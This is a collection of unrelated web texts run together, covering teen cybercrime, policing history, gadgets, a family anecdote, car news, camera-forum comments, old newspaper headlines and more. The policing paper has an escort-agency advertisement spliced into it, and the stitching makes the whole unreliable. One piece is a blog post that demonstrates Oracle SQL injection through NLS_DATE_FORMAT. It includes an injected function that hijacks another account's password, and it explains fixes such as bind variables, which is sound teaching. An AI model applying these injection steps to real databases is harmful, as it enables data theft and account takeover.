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Experts Note That More Teenagers Becoming Attracted to Computer Crime
Security experts warn more and more teenagers are now into hi-tech computer crime. Alarmingly large number of teenagers are found peddling credit card numbers, phishing kits and cracking tips in some Internet forums. The young offenders are very likely to get caught and prosecuted due to their inferior technical skills, claim experts.
Swapping malicious programs, knowledge, stolen data, exploits and virus code are very popular with teenagers exposed to the world of computer crime. Online communities and web forums sharing application cracks, exotic exploits and virus code make it easy for teens to do the illegal activities. Many nuisance programs are written by teenagers to exploit users of social networking sites, says Chris Boyd, director of malware research at FaceTime Security.
"Some are quite crude, some are clever and some are stupid," said Mr Boyd. Attempts to make money by dabbling in cyber crime quite often fails due to a lack of technical skills. "They do not even know enough to get a simple phishing or attack tool right," said Kevin Hogan, a senior manager of Symantec Security Response. The teenagers often end up damaging their own PCs by the viruses they have written.
Teenagers desire to win recognition for their exploits make them post revealing videos in sites such as YouTube. They commonly sign on with the same alias used to crack a site, run a phishing attack or write a web exploit. They are thus easily tracked down by computer security experts.
Mathew Bevan, arrested as a teenager cyber criminal and then acquitted, says teens enjoy the "thrill and power to prove they are somebody". Thus they end up sticking to the same alias, even at a risk of being caught. "The aim of what they are doing is to get the fame within their peer group," he said. "They spend months or years developing who they are and their status. They do not want to give that up freely.
Graham Robb, a board member of the Youth Justice Board, cautions about the life-long stigma on being caught. "If they get a criminal record it stays with them," he said. "A Criminal Records Bureau check will throw that up and it could prevent access to jobs."
Directed and Strategic Deployment of Police Officers to Lower Crime Rates
Throughout the history of law enforcement in the United States, the manner in which service has been delivered continues to be a tremendous challenge to overcome. It seems that from one generation to the next, police departments, whether through self-direction or external pressures, have been tasked with managing personnel in such a manner in order to continue to meet a given community's needs, objectives, problems, and directions despite the level of resources made available to them.
Typically, each era of policing has come about as a matter of evolution, or what is generally called a period of "reform," in response to a community's expectation of the service being provided. If each generation of reform were to be viewed as a paradigm, the movement from one paradigm to another could be referred to as a "paradigm shift," fueled by a "continued demand for safer, more effective and efficient ways to police communities". The purpose of this paper was to investigate whether the introduction of a crime-control model (based in part on the concepts of COMPSTAT) in one southern California city was effective in reducing crime.
One of the first paradigm shifts followed on the heels of political influence and police corruption, which came about in the middle of the 20th century. This "professional" model of policing is also recognized as the "rational-legal bureaucratic" model, which valued a centralized and bureaucratic command structure.
One focus of local law enforcement is on prostitution. In area that are high in this type of crime there is often an assortment of other types of criminal behavior. Some select cities such as Las Vegas have a high number of Asian escorts, such as those working out of the myasianescorts.com escort agency. Vegas, however, is an exception — the city is known for call girls and the law agencies know how to handle the situation. Most other cities are completely different, and need to work hard to reduce the presence of escorts.
During the "professional" era, the primary principles associated with this model were the development of technical skills, training, education, and adherence to the role of crime fighting. Measurement for success was nested in crime statistics such as the number of arrests and response times. Officers were expected to gather "just the facts" and patrol their beats in a random fashion between calls for service as a means to deter criminal conduct.
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Given the era and circumstances within the communities and demands on policing, the professional model worked. Between the mid-1900s and into the 1980s our social environment changed, expectations evolved, and, in turn, so did the delivery of police services. In 1968, the President's Commission on Disorder "urged law enforcement to repair its relationship with minority populations and other special interests groups and to "humanize" the behavior of police officers".
As a result, policing eventually evolved into what is known as the "community-oriented-policing" era, which did not happen immediately or whole-heartedly by all law enforcement agencies. Some have maintained that community-oriented policing is more talk than action, ineffective, and a mere philosophy that has failed to be actualized by many departments.
Whether police departments embraced the idea of community-oriented policing or not, there was certainly a demand for a higher, more personalized, level of service by the citizens being served. As a summary of this demand and what the expectation looks like at its optimum level of implementation, Walsh and Vito write, "… in its most ideal form, community policing posits that each community or neighborhood area should be policed in accordance with neighborhood needs and values."
In other words, each community would receive a personalized delivery of service wherein beat officers cater to the community's crime and quality of life problems as identified by the community itself. For this to occur, officers need to become intimately familiar with the community, neighborhood, business district, and/or enclave he/she patrols on a daily basis.
Despite its political correctness and feel-good collaborative components, community-oriented policing fell short of its overall expectation. Many departments, at best, implemented a watered-down version, which proved to be ineffective. For other departments, it became a philosophy that was spoken in public, but never truly translated to action beyond the level of a subunit (e.g., problem-oriented or special enforcement team) of the department.
Moreover, one of the greatest weaknesses in this model of policing is due to its strategy, which is "dependent on the lowest, often less experienced members of the police department who are ill prepared to address complex community problems". While crime rates remained high, public fear of victimization continued, and an overall sense that the quality of life in many communities remained low, a new era in policing was developing.
In their analysis of eight cities that implemented community policing programs, Sadd and Grinc found several challenges that limited the success of this innovative style of policing. In part, the difficulties discovered were internal to the culture and perception of the police officers, whereas others were due to external community forces. These challenges included officers' resistance to change, their possession of only an elementary understanding of the principles of community policing despite efforts to train them, and their failure to see how this was related to "real" police work.
Commenting on the officers' perception that community policing was another "politically driven" fad, Sadd and Grinc state, "Some took comfort from the fact that a long list of new projects and restructurings had come and gone without significantly changing the way policing is performed." Essentially, there was a lack of acceptance by the officers, and their pessimistic view of community policing was that community policing was not novel, but repackaged the principles of "good, old-fashioned policing".This The Conversation article provides more details on this topic.
From the perspective of the community, Sadd and Grinc learned that those neighborhoods that could benefit most from the program (i.e., people living in public housing or underprivileged communities) knew little about community policing beyond "picnics, block parties and events for children". Moreover, like those officers who saw community policing as a phase that would soon pass, community members also held a similar point of view and "define community policing as "just another program" in which services are here today but gone tomorrow".
In spite of the efforts made by law enforcement departments in the past, most continue to struggle with an accurate understanding of crime in our society, and more importantly, they fail to recognize their role. Although this paper addresses contemporary issues facing law enforcement, we suggest that the issue is law enforcement's inability, inefficiency to keep pace with emerging best practices, or unwillingness to recognize its responsibility to do everything in its power to provide the best level of service to reduce crime in our communities. Until law enforcement actually embraces this role, its delivery of service will forever remain an existing issue.
For some time now, many academics and police practitioners have believed that the police could not control crime. There are simply too many social forces that cause criminal behavior for the police to have a direct impact. Some naiveté has given way to more recent research and results from the emerging trend in law enforcement. It should be noted that our use of the term "emerging trend" is a loose interpretation because the concept and development of this latest paradigm shift began more than 17 years ago, but is still finding its way into police departments, big and small, across the United States.
Some researchers assert that crime is caused by poverty, racism and economic injustices, economic, social, demographic, and ethnographic forces, and/or "… social issues, such as poverty, drugs, and unemployment". Explaining why it was believed that the police could not impact crime, McDonald further states, "Police functioned using traditional enforcement methods of arrest, with the belief that although they could impact individual crime patterns through the arrest of an individual, for the most part they were handicapped in being able to change the flow of crime.
In spite of this perspective, and with very little empirical evidence, several police executives have taken credit for crime decreases as a result of their policing practices. In their research, Rosenfeld et al. noted that not all administrators are quick to claim credit for a decrease in crime. The more cautious executives recognize they will eventually be called upon to explain the increases as well.
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Monday March 21, 2005 3:03 am
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Do your friends and family complain that you seclude yourself from the world when you are busy fragging away? Put an end to those complaints with the GameOptics X1620! This USB LCD interacts with your software such as Instant Messengers, POP email, music programs, stocks, local weather information, memos, and even display system information such as CPU usage/Memory usage/IP information. All that while playing your favorite game. The X1620 displays all that information through the use of a 2 line yellow/green display. I'm not sure if a 2 line display is enough to carry on a conversation on your favorite IM client, but at least it will bring some people one step closer to enjoying life outside of Half-Life 2 and Doom 3.
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On a crisp, cool Sunday morning in October of 1993, I hit a pig.
There. I've said it. Now the horrible family secret is known to the world. It's a nightmare I have carried with me ever since. The pig, not so long. The particulars surrounding that dark day aren't important right now. All you need to know is that I was minding my own business, driving along at a law-abiding 55 miles per hour when a pig came out of the roadside weeds and crossed my path.
It was a good-sized beast. Not as large as you would find getting a blue ribbon at the county fair but much bigger than Arnold Ziffel from Green Acres. An animal that you would not expect to see emerging from a ditch as you drive along in your Smurf-blue Chevy Corsica.
Ever since that dark day, whenever I'm at my in-laws house for Easter, preparing to take that first bite of my mother-in-law's mouth-watering ham, someone inevitably will say something to the effect of, "Hey! Do you suppose this was that pig you hit?" Then everybody laughs, and I get to field questions about what kind of driving skills it takes to hit indiscriminate swine on a lonely country road.
But I can't complain, for you see, my father-in-law deals with a much larger but similar situation than mine. If I am to go down in history as the "The Pig Guy" amongst my family members, then he is most definitely considered "Mr. Squirrel" to all of his family, friends and many folks and small animals scattered across the continental United States. Allow me the opportunity to explain how he earned this title.
From what I have learned over the years, back in the 1980s, my father-in-law (we'll call him Dave because I'm getting tired of typing "father-in-law," and that's his name) was coming home from work one afternoon when a life-changing event crossed his path. As he travelled that day in his silver-colored 1979 Ford Granada, he was most likely engaging in a pleasant conversation with a co-worker who car-pooled with him, probably chit-chatting about sports, hunting or fishing.
Legend has it that at some point in the trip, I'm a little hazy on the details, a squirrel darted onto the roadway, directly in their path. Somewhat startled by the furry interloper, Dave cranked on the steering wheel in order to avoid hitting the animal. At this point, all control of the Granada was lost, and the car left the roadway, careening through the ditch, banging off of things like an out-of-control pinball before ending up in someone's front yard.
Dave sat in the driver's seat, feeling disbelief over what had just happened, thanking his lucky stars that both he and his passenger had come out unscathed. They both sat there breathing a collective sigh of relief that things weren't worse than they were. To make a long story a little less long, neither the Granada nor the squirrel survived the incident.
Ever since that fateful day 30-some years ago, my father-in-law has been inundated with anything and everything squirrel-related. His house has become a sanctuary to literally hundreds, possibly thousands of squirrelly items. There are stuffed animal squirrels, squirrel statues and figurines, squirrel pictures and posters. His shirt drawer is filled with T-shirts printed with squirrel pictures and funny sayings hilariously involving the word "nuts."
Every birthday and holiday, he receives greeting cards decorated with squirrels. He even gets things in the mail from an "Earl the Squirrel." He swears these things are from some of the more trouble-making members of the family, but I wouldn't know anything about that.
As the wrecker pulled away with the totalled-out wreckage of that once proud automobile, which is now referred to as "The Silver Squirrel" in family lore, Dave couldn't have known about how his life was about to change. Several thousand squirrel jokes later, he still laughs about it.
That's my real reason for writing this. You see, my father-in-law has a class reunion this weekend, and I want to make sure that all of his classmates have something to talk about. So if you see Dave "Mr. Squirrel" Schindel sometime this weekend during the Homestead Festival, be sure to ask him about it. I doubt that I have gotten all the facts straight and he'll be more than happy to share the story. Besides, he tells it better than me.
And while you're at it, see if he'll tell you the story about what his buddies did to his "Buck Master" hat one day at work. It's a real hoot.
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DETROIT - The public got its first look at the new BMW 2-Series Monday at the North American International Auto Show in Detroit.
Under BMW's new naming convention, all even-numbered cars are coupes -- okay, there's the 6-Series Gran Coupe which has four doors, but BMW still considers it coupe-styled.
The new 2-Series replaces the outgoing 1-Series coupes. On the outside, the 2 is slightly lower but also a little longer and wider than the 1, which helps the 2 to appear not as upright as the 1-Series. The lower headlights also help give the car a wider appearance.
There are two engine choices. The standard 228i will come with a two-liter turbocharged four-cylinder engine good for 240 horsepower and 258 pound-feet of torque.
For even more spirited driving, there's a three-liter inline six-cylinder engine in the performance-oriented M235i. That engine is also turbocharged and cranks out 322 horsepower and 332 pound-feet of torque.
Inside, the cockpit is centered around the driver, though front- and rear-seat passengers will enjoy a little more headroom than the outgoing model. Audio, Bluetooth connection and other entertainment functions are controlled with BMW's iDrive controller and displayed on an 8-inch screen.
Prices for the little BMW start at about $33,000 for the 228i and $44,000 for the M235i.
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I am not a designer. But using some sample code that one of our engineers (Glenn) provided I have a created two simple themes that can be used with the Spark skins for changing the colors of your application. One of the cool new features in Flash Builder 4 is our Theme Chooser, so these are designed to work with that. Simply download this zip and expand it. Make sure you keep the subfolders for now, then in Flash Builder you can import the SWCs either from the project properties or in the Appearance panel when you choose the theme. Right now FB will say that it's copying the whole folder, we're going to look to change that after Beta 2. Also you'll need to remove the hyphen from the name to make it legal (I chose those names for the SWC to enable some style features, but those won't be necessary after Beta 2 either).
The source is included in the form of fxpl projects. You can import those into Flash Builder and edit away. Make sure that if you add new files you go into your project settings and re-select all the files to be included. We have a bug currently where if you just do the checkbox that includes everything the skins likely won't work.
The goal here is to show how easily you can change just a few style properties and have a very different color theme running in your app. By the time we ship the custom skins that I included shouldn't be necessary and we'll hopefully need even fewer entries.


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Haemophilus influenzae type B
Haemophilus influenzae type b is a Gram-negative bacterium that causes meningitis and acute respiratory infections, mainly in children. In both developed and developing countries, it is an important cause of non-epidemic meningitis in young children, and is frequently associated with severe neurological sequelae, even if antibiotics are given promptly. In developing countries, H. influenzae is also a major cause of pneumonia in children. Other important, but less frequent, manifestations of H. influenzae disease include epiglottitis, osteomyelitis, septic arthritis and septicaemia.
Haemophilus influenzae infection is transmitted by droplets from infected (but not necessarily symptomatic) people. Haemophilus influenzae type b be can be prevented by vaccination.


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Interesting Read Followup…
Two days ago I wrote about an interesting security fiasco and said I'd follow up on it in a day or two – so here we are.
Just to recap – I wrote previously:
As a quick test - see if you can
- determine how the following bit of code can be attacked
- what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
- how to best protect against that attack
- how else - short of the "best" - would you protect against the attack
create or replace procedure inj( p_date in date )
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';
dbms_output.put_line( l_query );
open c for l_query;
for i in 1 .. 5
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
In the comments to that blog entry we did get the answers bit by bit, I'll summarize them here.
For #1 and #2, determine how the following bit of code can be attacked and what the outcome might be, we saw in the comments that all it took was the ability to set your NLS_DATE_FORMAT. A capability anyone with CREATE SESSION has. For example, if we set the NLS_DATE_FORMAT and run the procedure:
ops$tkyte%ORA11GR2> alter session set
2 nls_date_format = '"''union select tname,0,null from tab--"';
Session altered.
ops$tkyte%ORA11GR2> exec inj(sysdate)
select *
from all_users
where created = ''union select tname,0,null from
PL/SQL procedure successfully completed.
As you can see – instead of reading ALL_USERS, we are now reading TAB – and seeing what tables might exist there. Now, I cannot query USER_PW – that is owned by the owner of the procedure and I have no select on it – but – we'll be able to read it anyway since this stored procedure can be used to query any table in the schema that owns it! But first, we'll need to see the column names – we don't know those yet.
ops$tkyte%ORA11GR2> alter session set
2 nls_date_format = '"''union select tname||cname,0,null from col--"';
Session altered.
ops$tkyte%ORA11GR2> exec inj(sysdate)
select *
from all_users
where created = ''union select tname||cname,0,null
from col—'
I think you are getting the picture – using a bit of trickery – we can query up many things in that schema – discovering what we need as we go along.
If I have CREATE PROCEDURE (say a disgruntled developer, or a developer that just likes to be able to do stuff on the sly…) – I can go much further. Consider this:
ops$tkyte%ORA11GR2> grant execute on inj to scott;
Grant succeeded.
ops$tkyte%ORA11GR2> connect scott/tiger
scott%ORA11GR2> create or replace function chgpw return varchar2
3 as
4 pragma autonomous_transaction;
5 begin
6 execute immediate 'alter user ops$tkyte identified by barfoo';
7 return 'got you';
8 end;
9 /
Function created.
scott%ORA11GR2> grant execute on chgpw to public;
Grant succeeded.
scott%ORA11GR2> connect ops$tkyte/barfoo
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
scott%ORA11GR2> connect scott/tiger
scott%ORA11GR2> alter session set
2 nls_date_format = '"''union select scott.chgpw,0,null from dual--"';
Session altered.
scott%ORA11GR2> exec ops$tkyte.inj(sysdate)
select *
from all_users
where created = ''union select scott.chgpw,0,null from
got you.....
PL/SQL procedure successfully completed.
scott%ORA11GR2> connect ops$tkyte/barfoo
Anyone with create procedure and create session can kidnap that account. This is NOT a bug in Oracle, this is not a bug in the database – this is everything working as expected. This is a bug in your developed code.
Now, what about #3 and #4 – how can we protect against that attack? The easiest answer is always "use bind variables". If you use bind variables in your SQL, your SQL cannot be injected. It is that simple.
If you use bind variables, your SQL cannot be injected.
SQL can only be injected when you concatenate inputs from the outside into your SQL. If you do not concatenate these inputs, they cannot become part of your SQL.
Now, what if you couldn't use bind variables (I'm hard pressed to come up with a case whereby that is actually true!) or didn't want to use bind variables (as might be true in a data mart/data warehouse). What then? In this case – you would never rely on an implicit conversion. This bit of code:
where created = ''' || p_date || '''';
relies on an implicit conversion from a string to a date. Implicit conversion are evil incarnate – if you see them in your code or others code – fix it right away. Many bad things can happen – you've seen one above. One possible fix would be to use this code:
where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'' )';
That would make SQL Injection for that date input impossible – the ALTER SESSION SET NLS_DATE_FORMAT would have no impact on us anymore.
In other cases where the input is a string – we could use the DBMS_ASSERT package.
But always remember this:
If you use bind variables, your SQL cannot be injected.
It is really that simple!!!


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WINTER PARK, Fla. – Saint Leo University men's soccer player Chris Lavie has been selected Sunshine State Conference Men's Soccer Defensive Player of the Week presented by VALIC.
Saint Leo senior defender Chris Lavie came up big for the No. 10 Lions in the final game of the week when he scored his second goal of the season in the 87th minute at Nova Southeastern to tie the game at 1-1 and force overtime.
The native of Saint Michel Sur Orge, France and the other members of the Saint Leo defense held the Sharks to just three shots on goal through both overtime periods for the draw. Earlier in the week, Lavie helped lead the Lions to a 1-0 victory over Lynn.
Lavie and the Lions will head back to south Florida when they face Barry tonight. Kickoff is scheduled for 7:00 p.m. in Miami Shores, Fla.
For the latest news, updates, and information on the nationally ranked Saint Leo men's soccer team, be sure to visit SaintLeoLions.com. Fans can also stay up-to-date on the latest Lions' news by following Saint Leo Athletics on Facebook, Twitter, Instagram, and Youtube.


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In the summer of 1990, I was incarcerated within the Arizona State Prison System. I was a 26-year-old fool who had gotten caught in the go-nowhere world of drugs, and, as most do, found myself in big trouble headed for what I view quite literally as hell on earth.
My second day at the Cimarron Unit in Tucson is one that I'll never forget-nor the following weeks. It all started out innocently enough as we were let out of our cellblock for lunch. It was a mad rush, and being in a hurry myself I wasn't paying attention and ran into one of the biggest, meanest-looking guys I've ever seen. Needless to say I was scared to death. As I started to mouth an apology, I turned to find that he had somehow disappeared. That didn't seem too strange at the time, but looking back, it is — in the prison, everyone ate at the same time or they didn't eat at all. Anyhow, I forgot about this individual, and went about getting settled in, doing my time.
Late one night, while watching television in my cell, I heard a tap on the cell door. In the viewing window of the door was the man that I had run into. This is strange, because all of us inmates were supposed to be locked in our cells for the night, and yet there he was, beckoning me to the door. I went to see what he wanted. When I got to the door, he told me that I'd best stay in the next morning because there was going to be trouble on the recreation yard. I told him thanks for the information, and he left. I then woke my cellmate up to tell him just what I'd been told. We sat up all night speculating on what was going happen, and why. We were both new to prison and pretty naive to the ways of the "jungle."
When they opened the doors for breakfast and recreation, we were off the deep end, but didn't know it. After breakfast, we went straight to the field instead of back to the cellblock. Within about 10 minutes, all hell broke loose. I found myself in the middle of a full-fledged prison riot. Gladiators did battle with everything from trashcan lids and homemade knives to weight bars and rocks. I didn't know what to do or where to go. I thought for sure that I'd die that day in that recreation yard war zone. I was like a deer in the headlights, panic-stricken and frozen in place. All of a sudden that big, mean-looking guy who had warned me grabbed me, and forced me to a concrete picnic table near the entrance to the yard. At just that moment, the guards opened fire with non-lethal rounds, and the battle quickly ground to a halt.
There were 74 people on the recreation field that day; two men were killed and countless others injured. We were locked into the yard with no way of leaving. The guards quickly cuffed everyone up, and one by one every inmate was taken off the field, the wounded first and then the rest of us. The two fatalities were the only remaining. I was the second to last to be led off, and nowhere to be found was the mean-looking guy who'd warned me to stay clear. He wasn't one of the dead, and I watched every face as they went through that gate.
It didn't dawn on me until later that this man had a full beard—no one had a beard in that prison because policy prohibited facial hair. He was real and he saved my life, of this I'm sure. Who — or what — he was is beyond me. I only wish I could have thanked him for looking out for me when I wasn't smart enough to do it myself. He never again appeared, and I know now that he definitely wasn't an inmate, as I went straight to the yard office the day we were let off lockdown, looking to find his picture on the roll call board. He wasn't there. I asked numerous guards and inmates, but nobody had ever seen anyone remotely resembling the man I described. I'm still baffled, but thankful just the same for that big ol' mean-looking angel that was looking out for me! Godspeed my friend — whatever you are.—John C., Largo, Fla.
This True Mystic Experience appeared in the June 2000 edition of FATE.


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How the HTC One's Camera Bucks the Trend in Smartphone Imagingby Brian Klug on 2/22/2013 5:08 PM EST
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JaPeL - Friday, February 22, 2013 - linkWell, I don't care about mpx, or the buzzwords, as long as they deliever what they promise, anyway, by looking at the samples so far, I'm a little dissapointed, I was hoping something better than the lumia, but it doesn't seem to be the case so far. Reply
MonkeyPaw - Friday, February 22, 2013 - linkNo kidding. I've used a tablet before with a camera that was totally useless. MP aren't everything, and I think that as long as people give the One a chance while shopping, actual use will make all the difference. I'm sure the sales folk will be asked to promote it as well. Reply
Johnmcl7 - Friday, February 22, 2013 - linkFor a while it was believed that high number of pixels were destroying image quality and if someone produced a low resolution sensor it would produce far better image quality. However since then there's been several very high resolution sensors which have pretty much put that to bed as they've been able to surpass their predecessors. The most obvious example is the D800 which uses a 36MP Sony sensor and is the highest resolution full frame sensor there is currently offering triple the resolution of the older 12MP D700. Despite the much smaller pixels though the D800 surpasses the D700 for high iso and dynamic range plus of course obliterates it in resolution putting it at the top of DxO's chart, ahead of the lower resolution Canon 5D mk III.
Nokia then went several steps further and packed 41MP into the Pureview 808, admittedly its sensor was far larger than phone cameras and in fact larger than most compact cameras but still despite the huge resolution it offered image quality that it looks like other camera phones won't be able to match for a long time.
So I'm not convinced about HTC's approach now, we'll need to see how it fares against new high resolution sensors in upcoming smartphones.
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UpSpin - Saturday, February 23, 2013 - linkIf you take a picture with a smartphone and
- you share it online, the software will reduce the image size drastically. So a 8MP or even 12MP does make no sense, because you never make a use of it.
- you keep it for yourself or print it as a photo and take a closer look, zooming to 100% in a 12MP smartphone image, shows that the 12MP don't add any information, except noise, over a 8MP image.
You mentioned it already with the Pureview, it's not just the MP count, you have to consider the full package. If you reduce MP count but also reduce sensor size, you gained nothing. But HTC reduced MP size and slightly increased sensor size. HTC also added an OIS.
If you increase the pixel count to maybe 12MP but don't improve the optics, you gain nothing, because physical limitations occur which don't allow the sensor to capture 12MP at all.
The Pureview sensor is huge and so is the whole smartphone, because you need larger optics if you use a larger sensor. Thus, this camera will always be better, but it's not practical (too huge body and too expensive).
12MP just does make no sense in a smartphone, because you never use those 12MP.
A 4MP image is, in print quality (300DPI) 22cmx12cm large. So why do you need a higher resolution out of a smartphone right now?
I like the idea of integrating a same sized 4MP sensor with an OIS. Reply
ydoucare - Tuesday, March 12, 2013 - linkYou have no idea what you're talking about if you think there's no difference in print quality between 4 MP and 12 MP. No sensor in existence outputs a sharp image at full native resolution. The downsizing of the 12 MP image to 4 MP would result in a much sharper image than the native 4 MP image. At 4 MP, you'd be printing a blurry 6"x8". A 12 MP image would print tack-sharp downsized to 6"x8". Reply
eugk - Wednesday, March 13, 2013 - linkYou're assuming the 12MP image has 12MP of actual detail rather than NR'ed watercolor-effect detail. Reply
Wieland - Saturday, February 23, 2013 - linkThe key arguement that HTC is making is that the pixels on high end smartphones are too small, and that a lower density sensor will produce better pictures. That isn't the same as saying that higher resolution sensors are necessarily bad. Neither the D800 nor the Pureview 808 are evidence to the contrary because both have sensors with much larger pixels than even the HTC One. Reply
Manabu - Saturday, February 23, 2013 - linkYou should compare the D800 with the 16MP D4, that have the same sensor technology, differing only on mega pixel count. Or the NEX-7 vs NEX-5N: http://www.dpreview.com/galleries/6479708377/photo...
That said, the main factors in camera performance are the sensor size, sensor technology, and optics quality. But pixel density also plays a role:
Quote: "Major factors in limiting the maximum number electrons captured in a semiconductor image sensor are
1) Absorption length and electron densities -
It ranges from about 1 micron for blue light to over 7 microns for red light. RX100 has pixel size of 2.4 microns. The absorption length will also limit the image detail, especially toward red colors, and it also can contribute to photons several pixels away from the target pixel. Dense sensors with small areas per pixel, no matter how many MP they have, are at disadvantage.
2) Fill factor -
The trend is down with smaller pixel size because the non-sensitive portion between pixels becomes a greater part of the pixel area. Even with gapless microlenses, light will be lost at the gap due to scattering. Dense sensors with small areas per pixel will gather less light with increase in MP count.
3) Another factor that affects low light IQ is Read noise (electronics noise) -
Read noise per pixel has little dependence on pixel size. Because all sensors have finite read noise, when one adds pixels together, the total read noise increases. In low light conditions read noise will play much bigger role than photon noise and will degrade the IQ in the sensors that have smaller pixel size."
http://forums.dpreview.com/forums/thread/3248426?p... Reply
Yojimbo - Saturday, February 23, 2013 - linkJust an aside, I think you mean all pixels have positive read noise, not finite read noise. Negative numbers and zero are still finite numbers, so a finite value could be added to another finite value such that the sum is not bigger than the latter value. Reply
Randomoneh - Sunday, February 24, 2013 - link"The most obvious example is the D800 which uses a 36MP Sony sensor and is the highest resolution full frame sensor there is currently offering triple the resolution of the older 12MP D700."
36MP image has pixel count that is 300% larger than 12MP image but resolution (in the spirit of the word) difference is only up to 73% (sqrt(36/12)). Reply
Stoli89 - Saturday, February 23, 2013 - linkYou did not mention the N8, Nokia's flagship phone shooter from a couple of years ago, which already had 1.75 micron pixels on a 12MP sensor.
As well, the Nokia 808 Pureview delivers 4.01 Micron virtual pixels at the 5MP setting and 3.2 micron virtual pixels at the 8MP setting. Reply
Death666Angel - Saturday, February 23, 2013 - linkQuote: "but what I have seen has gotten me excited about the HTC One in a way that only a few other devices (PureView 808, N8, HTC One X) have so far. " Reply
alexvoda - Sunday, February 24, 2013 - linkThose 2 Nokias are just insane! We need more of that insanity. Reply
Simon42 - Saturday, February 23, 2013 - linkSony's camera performance is usually one of their selling points. The comparisons involving their latest Xperia Z seem to indicate it's a leader, or at least a solid contender. And of course Apple uses cameras from Sony - my 2 year-old Xperia shares the same 8 megapixel resolution as the current iPhone; impressive for what's still the smallest smartphone ever.
In fact this website seems to be unaware of the Sony Xperia line's existence; I can't remember any review here when all other big brands get plenty of them... Reply
Strulf - Saturday, February 23, 2013 - linkWow, this is neat! Really excited about this, finally someone was brave enough to go down this road. Hopefully, other manufacturers will jump on the bandwagon. Reply
Diagrafeas - Saturday, February 23, 2013 - linkSo the HTC One has one sensor, two or three 4,3MP each? Reply
Randomoneh - Sunday, February 24, 2013 - linkOne sensor. 4MP. Bayer arrangement. Looks like garbage at 100% view. Reply
evonitzer - Wednesday, February 27, 2013 - linkA bold statement, since we haven't seen any photos at 100%. Reply
Chloiber - Monday, February 25, 2013 - link@Brian (or anyone else) :
So I have a question. If less+larger pixels are better than more+smaller pixels, how is the 4MP camera of the One better than 4 year old smartphone cameras which already had similar pixel counts & sizes?
I mean - I understand that pixel count + size is not everything. What I would rather like to hear is not only the difference between a modern 13MP camera vs. a modern 4MP camera, but also a modern 4MP camera vs. an older 4MP camera. How did it improve? Reply
blanarahul - Monday, February 25, 2013 - linkI can't say for sure. But I guess the sensor size, Quality of ISP, F number are higher which results in better image quality.
"What I would rather like to hear is not only the difference between a modern 13MP camera vs. a modern 4MP camera, but also a modern 4MP camera vs. an older 4MP camera. How did it improve?"
Same here.
But IMHO they should have offered a choice because it's going to be extremely difficult to convince people who blindly believe that "more is better." A choice b/w either a 13 MP sensor or a 4.0 MP sensor (for people like me and you who understand it's importance). Reply
evonitzer - Wednesday, February 27, 2013 - linkThere are a lot of good questions in this thread, but to use a cliche, "The proof is in the pudding." Wait until it comes out and then let's evaluate (and meet up again in the comments to argue about which photos look better). Reply
Stoli89 - Thursday, February 28, 2013 - linkThere's already a couple of test videos on Youtube showing the HTC One against both the Lumia 920 (8.7 MP, 1/3 BSI sensor, OIS across full camera module, F.2.0, Carl Zeiss optics) and the Lumia 720 (6.7MP, 1/3.6 BSI sensor, F1.9, Carl Zeiss optics).
From the video it's clear that the HTC ONE produced very noisy, grainy images compared to BOTH Lumias. I was particularly impressed with the 720's performance, considering this non-OIS camera was able to deliver pretty decent low light shots as a mid-priced phone! The 720 may not have "ultra' pixels, but it does seem to make the most out of a very large aperture, excellent optics, and stellar algorithms.
To note, the comparisons were conducted inside HTC's dark room, at its stand at MWC 2013.
http://www.youtube.com/watch?v=bIFCJLVuqOs Reply


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OK folks. As my research progresses through the years, so do those headlines that graced past issues of our local newspapers. These entries are all from the Bureau County Record 1909. Here we go again with some more Headlines From The Past.
• March 31, 1909: Miss Nina A. Pattee, a teacher in Marseilles, is arrested for sending obscene letters. Recipients of these letters include President William Howard Taft, former President Theodore Roosevelt, Gov. Charles Deneen and a number of high-ranking Chicago officials. Pattee was interviewed by a Record reporter while in a detention hospital and declared she was not insane. Then to prove her state of mind, she went into a trance and stated the reporter must seek a woman named Mary Brand at 22 Delaware Place. After returning from her trance, Pattee revealed she had been visited by God on St. Valentine's Day 1903. It was later disclosed Pattee had been struck in the head with a baseball bat by a student and that surgery would correct her problem.
June 30, 1909: Miss Dora Leddy filed suit against the Spring Valley Board of Education. The board had dismissed her from her duties when she refused to take back a student, Nelly Walker, whom she had sent home from school. Leddy refused to take the student back until the student apologized. Details were not given why. Leddy eventually sued the board for back pay in which she was granted. She dropped her other suits when awarded the pay in the amount of $50 per month.
June 30, 1909: "Reckless Motorcyclist." The motorcycle craze hit Princeton and produced some reckless driving. According to the report, these drivers take little care on busy streets or sidewalks in the city as they race along at speeds up to 45 miles an hour. Complaints have been received from all over Princeton. More than one case has been recorded of children's narrow escape due to these reckless drivers. Also included in this issue of the Record is an article about riding bikes on the sidewalks. It is against city ordinance to ride a bike on the sidewalks. Youths are the biggest offenders, and it has been reported these wheelmen even conduct races on city sidewalks. Parents are asked to remind their children of the laws and consequences of their actions. The article states, "Due warning has been given, and the next step is likely to be the appearance of an officer with warrants for the offenders."
October 6, 1909: "Don't Know He's Married." Glenn Wyatt of Wyanet was not present at his own wedding. Wyatt and Miss Frances Roose were married quietly in Ottawa on Oct. 4, but the groom was not there. When interviewed, Wyatt knew nothing about the marriage. Relatives of Miss Roose living in Princeton stated they weren't certain if the marriage had occurred but were not surprised to hear of it. Wyatt was employed by the H.W. Cate Co. in Wyanet. The article concluded by saying "perhaps he is going to keep it a secret, so please do not say anything about it."
Sept. 1, 1909: "Spring Valley Under Ban." No more prize fights are to be conducted in Spring Valley is the message from the Illinois Governor's Office. Bureau County Sheriff O.H. Skoglund received a communications from acting governor Oglesby stating "take the necessary means to prevent any violations of the law."
So there you have it. Another entry into Headlines From The Past. Have a great day!
Princeton resident Todd Borsch can be reached at email@example.com.


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Research Groups
Transfer of plasmid/cosmid DNA from a host strain, e.g. E.coli ET12567 [pUZ8002], to the recipient strain, e.g. Streptomyces coelicolor.
Transfer a construct (cloned plasmid/cosmid) into Streptomyces to knock-out, knock-in, complement or over-express a gene.
